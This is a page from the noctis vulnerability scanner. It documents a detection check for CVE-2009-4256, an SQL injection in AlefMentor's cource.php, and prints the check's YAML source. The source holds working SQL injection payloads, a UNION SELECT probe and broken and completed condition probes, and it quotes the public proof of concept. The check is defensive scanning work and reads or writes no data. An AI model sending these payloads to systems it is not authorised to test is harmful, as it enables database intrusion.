AlefMentor — 1 vulnerability check

noctis ships 1 vulnerability check for AlefMentor, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AlefMentor cource.php cont_id / courc_id SQL Injection

CVECVE-2009-4256
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/alefmentor/CVE-2009-4256.yaml

AlefMentor 2.0 to 2.2 puts the cont_id and courc_id parameters of cource.php (action=pregled) unquoted into SQL queries, allowing unauthenticated SQL injection: an attacker can read the whole database.

This check requests cource.php under the web root and a few usual install directories. It first sends courc_id as a UNION SELECT of an expression multiplying two random numbers; the vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. Otherwise it sends cont_id, then courc_id, once as an incomplete SQL condition and once as the same condition completed into valid SQL: the vulnerability is reported when only the incomplete one makes the page print the AlefMentor database error message. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{t.d}}/cource.php?action=pregled&cont_id={{sc.n}}&courc_id={{sc.uni}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{q.bad}}
  6. HTTP(S) request GET {{q.good}}
  7. Parses / computes the next value with a Rhai script
  8. Checks hit.lvl for ^97$ → finding QoD 97: AlefMentor cource.php cont_id / courc_id SQL Injection (CVE-2009-4256)
  9. Checks hit.lvl for ^75$ → finding QoD 75: AlefMentor cource.php cont_id / courc_id SQL Injection (CVE-2009-4256)

References:

Feed source — tests/vulnerabilities/alefmentor/CVE-2009-4256.yaml
# AlefMentor 2.0 - 2.2 — cource.php 'cont_id' / 'courc_id' SQL injection — CVE-2009-4256
#
# cource.php?action=pregled puts cont_id and courc_id unquoted into SQL queries.
# When a query fails, the page dies with the application's own (Serbian) message
# "Da li si siguran da je to ta baza". Public PoC (EDB-10358):
#     cource.php?action=pregled&cont_id=[SQL]
#     cource.php?action=pregled&cont_id=21&courc_id=-2+union+select+version%28%29--
#
# Detection, per candidate install directory:
#   QoD 97 — courc_id is a one-column UNION SELECT (the PoC layout) of
#            C = CONCAT(0x4e4f43544953, a*b, 0x454e44) with random a, b; the page
#            returns "NOCTIS<a*b>END", a value only an SQL engine evaluating our
#            expression can produce (the product is never in the request).
#   QoD 75 — syntax differential on cont_id, then courc_id: "<n> AND <a>=" (broken
#            SQL) makes the page print the AlefMentor database error, while the
#            same request completed into valid SQL, "<n> AND <a>=<a>", answers
#            200 without it. An application that merely rejects non-numeric
#            input errors on both; a quoted / cast parameter errors on neither.
# No table is referenced, no quotes, nothing is written.
#
# Better than the source NASL:
#   - the NASL sends one literal "[SQL]" and reports the error text alone; here a
#     valid-SQL control must come back clean, and a computed UNION value gives a
#     QoD 97 proof when the PoC's one-column layout matches;
#   - courc_id (the second parameter of the CVE) is probed too;
#   - the NASL only runs where its detection script found the product and a
#     version; here the install directory is probed directly (web root and the
#     usual sub-directories), the application's own error message being the gate.
#   - the NASL's version-only fallback (2.0 - 2.2) is not ported: the product's
#     source is no longer available, so its version display cannot be checked.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_alefmentor_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.901071, GPL-2.0-only).
uid: 85548253-e11a-4c32-925f-d943defe267a
name: "AlefMentor cource.php cont_id / courc_id SQL Injection (CVE-2009-4256)"
description: |
  AlefMentor 2.0 to 2.2 puts the cont_id and courc_id parameters of cource.php
  (action=pregled) unquoted into SQL queries, allowing unauthenticated SQL
  injection: an attacker can read the whole database.

  This check requests cource.php under the web root and a few usual install
  directories. It first sends courc_id as a UNION SELECT of an expression
  multiplying two random numbers; the vulnerability is confirmed when the page
  returns the product computed by the database, which never appears in the
  request. Otherwise it sends cont_id, then courc_id, once as an incomplete SQL
  condition and once as the same condition completed into valid SQL: the
  vulnerability is reported when only the incomplete one makes the page print
  the AlefMentor database error message. No table data is read and nothing is
  written.
cves: [CVE-2009-4256]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [alefmentor, e-learning, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4256"
  - "https://www.exploit-db.com/exploits/10358"

steps:
  # ── Random operands, expected marker and the encoded payloads ─────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let n = rand_int(2, 99);
      let k = rand_int(1000, 9999);
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         n: "" + n,
         k: "" + k,
         uni: "-" + k + "%20union%20select%20CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)--%20-",
         bad: n + "%20AND%20" + k + "=",
         good: n + "%20AND%20" + k + "=" + k,
         err: "Da li si siguran da je to ta baza" }
    store_as: sc

  # ── Per candidate install directory and parameter (loop group) ────────────
  - id: init-hit
    action: set_var
    var_name: hit
    var_value: {lvl: "", path: ""}
    loop:
      var: t
      over:
        # courc_id first: its pass also runs the QoD 97 UNION probe
        - {d: "", p: "courc_id"}
        - {d: "", p: "cont_id"}
        - {d: "/AlefMentor", p: "courc_id"}
        - {d: "/AlefMentor", p: "cont_id"}
        - {d: "/alefmentor", p: "courc_id"}
        - {d: "/alefmentor", p: "cont_id"}
        - {d: "/am", p: "courc_id"}
        - {d: "/am", p: "cont_id"}

  - id: init-uni-r
    action: set_var
    var_name: uni_r
    var_value: {status: 0, body: ""}

  - id: init-bad-r
    action: set_var
    var_name: bad_r
    var_value: {status: 0, body: ""}

  - id: init-good-r
    action: set_var
    var_name: good_r
    var_value: {status: 0, body: ""}

  - id: build-queries
    action: script
    code: |
      let base = if t.d == "" { "/" } else { t.d + "/" };
      let pre = base + "cource.php?action=pregled&";
      if t.p == "cont_id" {
        #{ bad: pre + "cont_id=" + sc.bad, good: pre + "cont_id=" + sc.good,
           shown: base + "cource.php?action=pregled&cont_id=" + sc.n + " AND " + sc.k + "=" }
      } else {
        #{ bad: pre + "cont_id=" + sc.n + "&courc_id=" + sc.bad,
           good: pre + "cont_id=" + sc.n + "&courc_id=" + sc.good,
           shown: base + "cource.php?action=pregled&cont_id=" + sc.n + "&courc_id=" + sc.n + " AND " + sc.k + "=" }
      }
    store_as: q

  # QoD 97: one-column UNION SELECT in courc_id (PoC layout)
  - id: union-probe
    action: http_request
    method: GET
    path: "{{t.d}}/cource.php?action=pregled&cont_id={{sc.n}}&courc_id={{sc.uni}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 't.p == "courc_id"'
    store_as: uni_r

  - id: check-union
    action: script
    condition: 't.p == "courc_id"'
    code: |
      let body = if type_of(uni_r.body) == "string" { uni_r.body } else { "" };
      let base = if t.d == "" { "/" } else { t.d + "/" };
      if body.contains(sc.want) {
        #{ lvl: "97", path: base + "cource.php?action=pregled&cont_id=" + sc.n + "&courc_id=-" + sc.k + " union select C-- -" }
      } else { #{ lvl: "", path: "" } }
    store_as: hit

  # QoD 75: broken vs. completed SQL condition
  - id: bad-probe
    action: http_request
    method: GET
    path: "{{q.bad}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit.lvl == ""'
    store_as: bad_r

  - id: good-probe
    action: http_request
    method: GET
    path: "{{q.good}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit.lvl == "" && type_of(bad_r.body) == "string" && bad_r.body.contains(sc.err)'
    store_as: good_r

  - id: check-differential
    action: script
    condition: 'hit.lvl == ""'
    code: |
      let bad = if type_of(bad_r.body) == "string" { bad_r.body } else { "" };
      let good = if type_of(good_r.body) == "string" { good_r.body } else { "" };
      if bad.contains(sc.err) && good_r.status == 200 && !good.contains(sc.err) {
        #{ lvl: "75", path: q.shown }
      } else { #{ lvl: "", path: "" } }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-union
    action: match
    source: hit.lvl
    pattern: "^97$"
    on_match:
      finding:
        title: "AlefMentor cource.php cont_id / courc_id SQL Injection (CVE-2009-4256)"
        description: "An unauthenticated request with a UNION SELECT of a multiplication of two random numbers in courc_id returned the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole database."
        remediation: "No fixed release of AlefMentor is known: remove the application, or make cource.php cast cont_id and courc_id to integers before building its queries."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit.path}} with C = CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) returned the database-computed value {{sc.want}}"
      stop: true

  - id: report-differential
    action: match
    source: hit.lvl
    pattern: "^75$"
    on_match:
      finding:
        title: "AlefMentor cource.php cont_id / courc_id SQL Injection (CVE-2009-4256)"
        description: "An unauthenticated request ending the parameter with an incomplete SQL condition made cource.php print the AlefMentor database error, while the same request completed into valid SQL did not: the parameter reaches the SQL query unquoted, so an attacker can read the whole database."
        remediation: "No fixed release of AlefMentor is known: remove the application, or make cource.php cast cont_id and courc_id to integers before building its queries."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{hit.path}} printed \"{{sc.err}}\"; the same request completed with ={{sc.k}} answered 200 without it"
      stop: true

View these feeds on GitHub